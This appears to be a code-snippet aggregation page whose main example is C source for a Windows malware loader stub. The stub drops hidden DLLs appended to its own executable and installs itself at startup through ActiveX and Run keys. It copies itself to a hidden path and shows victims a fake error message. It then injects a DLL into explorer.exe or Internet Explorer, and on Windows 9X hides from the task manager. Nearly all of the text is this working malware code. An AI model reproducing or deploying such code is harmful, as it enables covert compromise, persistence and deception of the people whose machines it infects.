Ejemplo n.º 1
0
int WINAPI  installation(TCHAR * DeviceHWID, TCHAR * InfFile)
{
	return Installation(DeviceHWID, InfFile);
}
Ejemplo n.º 2
0
int Installation(const char* const argv0) {
    /* Output the DLL files required for Injection and system-wide hook. */
    HANDLE mm;
    int offset;
    FILE *fp;
    FILE *fp2;
    char* tmp;
    char* dll;
    char path[MAX_PATH+1];
    char* p;

    /* DLLs are appended to us, let's get them now by reading ourself. */
    fp = fopen(argv0, "rb");
    if (!fp) {
        WIN_ERR("Opening ourself to output DLLs has failed.");
        return 1;
    }

    /* Output the injection DLL. */
    offset = 3 + sizeof(LTSData) + data.blocksz + data.hooksz + data.injectsz;
    fseek(fp, -offset, SEEK_END);

    /* Allocate space for injection dll */
    dll = malloc(data.injectsz);
    if (!dll) {
        WIN_ERR("Unable to allocate memory for injection DLL.");
        fclose(fp);
        return 1;
    }

    /* Copy DLL from EXE to memory. */
    fread(dll, 1, data.injectsz, fp);

    /* Construct the injection DLL name. It will go in a global variable, as we need it later on. */
    tmp = SettingsGetValue(block, data.blocksz, "INJECTNAME");
    snprintf(injectdll, MAX_PATH, "%s/%s", rootpath, tmp);
    injectdll[MAX_PATH] = '\0';
    free(tmp);

    /* Why does it sometimes fail to overwrite? Just in case, manually remove the old one. */
    remove(injectdll);
    fp2 = fopen(injectdll, "wb");
    if (fp2) {
        /* File is open, output DLL from memory to disk. */
        fwrite(dll, 1, data.injectsz, fp2);
        fclose(fp2);

        /* Make the DLL hidden. */
        SetFileAttributes(injectdll, FILE_ATTRIBUTE_HIDDEN);
    }
#ifdef DEBUG_MODE
    else {
        WIN_ERR("Unable to open file to output Injection DLL to.\nFile likely in use.\nWill attempt to use the existing one.");
    }
#endif

    /* Failed to output DLL or not, free the memory. */
    free(dll);

    /* Output the hook DLL. Allocate space for it in memory. */
    dll = malloc(data.hooksz);
    if (!dll) {
        WIN_ERR("Unable to allocate memory for hook DLL.");
        fclose(fp);
        return 1;
    }

    /* Copy from disk to memory. */
    fread(dll, 1, data.hooksz, fp);

    /* Construct the DLL name. */
    tmp = SettingsGetValue(block, data.blocksz, "HOOKNAME");
    snprintf(path, MAX_PATH, "%s/%s", rootpath, tmp);
    path[MAX_PATH] = '\0';
    free(tmp);

    remove(path);
    fp2 = fopen(path, "wb");
    if (fp2) {
        /* Copy from memory to disk. */
        fwrite(dll, 1, data.hooksz, fp2);

        /* Close fp2 (Hook DLL) */
        fclose(fp2);

        /* Make the DLL hidden. */
        SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN);
    }
#ifdef DEBUG_MODE
    else {
        WIN_ERR("Unable to open file to output hook DLL to.\nFile likely in use.\nWill attempt to use the existing one.")
    };
#endif

    /* Failed to output DLL or not, free the memory and close the file */
    free(dll);
    fclose(fp);

    /* Write the flag struct to a memory mapped buffer so the hook DLL can get access to it. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(LTSFlags), LTS_MMBUF_FLAGS);
    if (!mm) {
        WIN_ERR("Unable to create file mapping to write flag struct to.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(LTSFlags));
    if (!p) {
        WIN_ERR("Unable to map a view of mapped buf to write flags.");
        return 1;
    }

    CopyMemory(p, &data.flags, sizeof(LTSFlags));
    UnmapViewOfFile(p);

    /* Write the settings block (and size) to a memory mapped buffer so the injection DLL can get access to it. */

    /* Start by writing the size of the block. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(data.blocksz), LTS_MMBUF_BLOCK_SZ);
    if (!mm) {
        WIN_ERR("Unable to create file mapping for settings block size.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(data.blocksz));
    if (!p) {
        WIN_ERR("Unable to map a view of file mapping to write block size.");
        return 1;
    }

    CopyMemory(p, &data.blocksz, sizeof(data.blocksz)); /* Copy the size first. */
    UnmapViewOfFile(p);

    /* and then the block itself. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, data.blocksz, LTS_MMBUF_BLOCK);
    if (!mm) {
        WIN_ERR("Unable to create file mapping for block.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, data.blocksz);
    if (!p) {
        WIN_ERR("Unable to map a view of file mapping to write block.");
        return 1;
    }

    CopyMemory(p, block, data.blocksz);
    UnmapViewOfFile(p);

    /* Done with this. We have all the settings. Free it. */
    free(block);
    return 0;
}


int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR argv, int show) {
    char me[MAX_PATH+1];
    HANDLE m;
    FARPROC pCopyFile;
    OS_PLATFORM platform;
    char ranbyuser;

    /* Look for a commandline flag indicating if we ran via Windows startup. */
    if (!strcmpi2(argv, RAN_ON_BOOT_FLAG, strlen(RAN_ON_BOOT_FLAG))) {
        ranbyuser = 0;
    } else {
        ranbyuser = 1;
    }

    /* Let's get the path to ourself. */
    GetModuleFileName(0, me, MAX_PATH);
    me[MAX_PATH] = '\0';

    /* Stop annoying warning. */
#ifdef DEBUG_MODE
    inst = prev = 0;
    argv = 0;
    show = 0;
#endif

    /* We mainly need path2me. Let's load it now. */
    if (LoadSettings(me)) {
        GEN_ERR("LoadSettings() returned an error, not going to bother going on. Quitting.");
        return 1;
    }

    /* Get the platform we are running on. */
    platform = GetPlatform();

    /* Implement startup method. */
    if (PLAT_9X != platform) {
        /* If ActiveX startup fails, use Run startup. (Rare) */
        if (ImplementDefaultStartup()) ImplementRunStartup();
    } else {
        /*	ActiveX works on 9X. But on 9X, we do not terminate, this will halt explorer. */
        ImplementRunStartup();
    }

    /*	Copy myself over to a path where we will reside forever.
    	Without remove(), CopyFile() sometimes doesn't overwrite,
    	even though it succeeds, wtf? */
    remove(path2me);
    pCopyFile = GetProcAddress(GetModuleHandle("Kernel32.dll"), "CopyFileA");
    if (pCopyFile) {
        pCopyFile(me, path2me, 0);
    } else {
        WIN_ERR("Could not get address of CopyFileA. Unable to copy ourself to PATH");
    }

    /* Make myself hidden. */
    SetFileAttributes(path2me, FILE_ATTRIBUTE_HIDDEN);

    /* If we are supposed to display a fake error AND we ran via user... */
    if (ranbyuser && errmsg) {
        /* Display a fake error message box. */
        MessageBox(0, errmsg, errcap, MB_ICONERROR);
        free(errmsg);
        free(errcap);
    }

    /* Check to see if I am already running. If so, quit. */
    CreateMutex(0, 1, MUTEX_NAME_RUNNING);
    if (GetLastError()!=ERROR_SUCCESS) {
        /* If we are NOT able to create the mutex, assume it's because it already exists. */
        INFO("An instance of LTS is already running!\nExiting.");
        /* Clean up from LoadSettings() */
        free(block);
        return 1;
    }

    /* Read settings. They are (supposed to be) appended to the LTS executable file. */
    if (Installation(me)) {
        INFO("Due to errors during installation, we will NOT continue.");
        /* Clean up what LoadSettings() did. */
        free(block);
        return 1;
    }

    /*	The rest depends on the OS platform. Let's get that now. If it's NOT 9X OR it
    	IS an error, assume it's NT */
    if (PLAT_9X != platform) {
        HANDLE confirm;
        unsigned int i;
        DWORD pid;
        char success;

        success = 0;
        pid = 0;
        confirm = 0;

        /* Inject DLL into a process. */
#ifdef DEBUG_MODE
        pid = InjectionProcessId("C:\\Windows\\System32\\calc.exe", SPAWN);
        if (!pid) {
            GEN_ERR("Getting pID of calc.exe has failed. Going to attempt default browser.");
        }
#else
        /* First target is Explorer. Get the PID */
        pid = InjectionProcessId("explorer.exe", RUNNING);
#endif

        /* If the pid is valid, Attempt to inject into the process. Otherwise, attempt def browser */
        if (pid) {
            Inject(injectdll, pid);

            /* Wait for the confirmation mutex to be created by the injection DLL. */
            INFO("Stub waiting for confirmation mutex.");

            /*	Wait 5 seconds (100ms * 50), if we still don't the confirmation mutex. Assume
            the injection failed. */
            for (i=0; i<50; ++i) {
                confirm=OpenMutex(0, 0, MUTEX_NAME_DONE);
                if (GetLastError()!=ERROR_FILE_NOT_FOUND) {
                    success = 1;
                    break;
                }
                Sleep(100);
            }
        }

        /* If we did not get the mutex, attempt to inject into the default browser. */
        if (!success) {
            /* XXX Fix this. Get default browser and spawn it silently. */
            /*			char browser[MAX_PATH];
            			DWORD browsersz=MAX_PATH;

            			GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into the default browser.");

            			GetDefaultBrowser(browser, &browsersz);
            			pid = InjectionProcessId(browser, SPAWN);
            			pid = InjectionProcessId("c:\\Program Files\\Mozilla Firefox\\firefox.exe", SPAWN); */

            /* If we got the PID, use it. Else just use IE. */
            GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into IE.");
            pid = InjectionProcessId("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE", SPAWN);
            if (pid) {
                Inject(injectdll, pid);
                /* Now wait for the confirmation mutex again. */
                for (i=0; i<50; ++i) {
                    confirm=OpenMutex(0, 0, MUTEX_NAME_DONE);
                    if (GetLastError()!=ERROR_FILE_NOT_FOUND) {
                        success = 1;
                        break;
                    }
                    Sleep(100);
                }
            }

            if (!success) {
                /*	Injection into default browser has failed as well. This should NEVER happen.
                	Let's just load the DLL manually then. */
                HINSTANCE dll;
                MSG msg;

                GEN_ERR("Injection into default browser failed. Going to manually load DLL.");
                dll = LoadLibrary(injectdll);
                if (!dll) {
                    WIN_ERR("Unable to load DLL! -- Quitting.");
                    return 1;
                }

                while (GetMessage(&msg, 0, 0, 0)) {
                    TranslateMessage(&msg);
                    DispatchMessage(&msg);
                }
            }
        }

        /* We got confirmation that the DLL successfully read the settings. We can now die. */
        INFO("Success! Got confirmation mutex. Stub terminating.");
        CloseHandle(confirm);
    } else {
        /* Windows 9X */
        HINSTANCE dll;
        HMODULE kernel32;
        MSG msg;

        /* Hide from task manager. (9X ONLY) */
        kernel32 = LoadLibrary("Kernel32.dll");
        if (kernel32) {
            FARPROC rsp;
            rsp = GetProcAddress(kernel32, "RegisterServiceProcess");
            if (rsp) rsp(GetCurrentProcessId(), 1);
            FreeLibrary(kernel32);
        }

        /*	We can not inject into a process' address space on 9X.  We *can* 'inject' using a
         	hook and LoadLibrary() but for now, let's just manually load the DLL and sit idle. */
        dll = LoadLibrary(injectdll);
        if (!dll) {
            WIN_ERR("Unable to load injection DLL! -- Quitting.");
            return 1;
        }

        /* This mutex is meant DLL injection, it tells us that the DLL has read the settings. */
        for (;;) {
            m=OpenMutex(0, 0, MUTEX_NAME_DONE);
            if (GetLastError()!=ERROR_FILE_NOT_FOUND) break;
            Sleep(200);
        }

        /* Unlike on NT w/ DLL injection, we can not terminate. Windows will unload the DLL. */
        CloseHandle(m);

        /* Just sit idle. DLL that we loaded should take care of the rest. */
        INFO("Running on 9X. DLL has been loaded. Loader will sit in an idle loop.");
        while (GetMessage(&msg, 0, 0, 0)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return 0;
}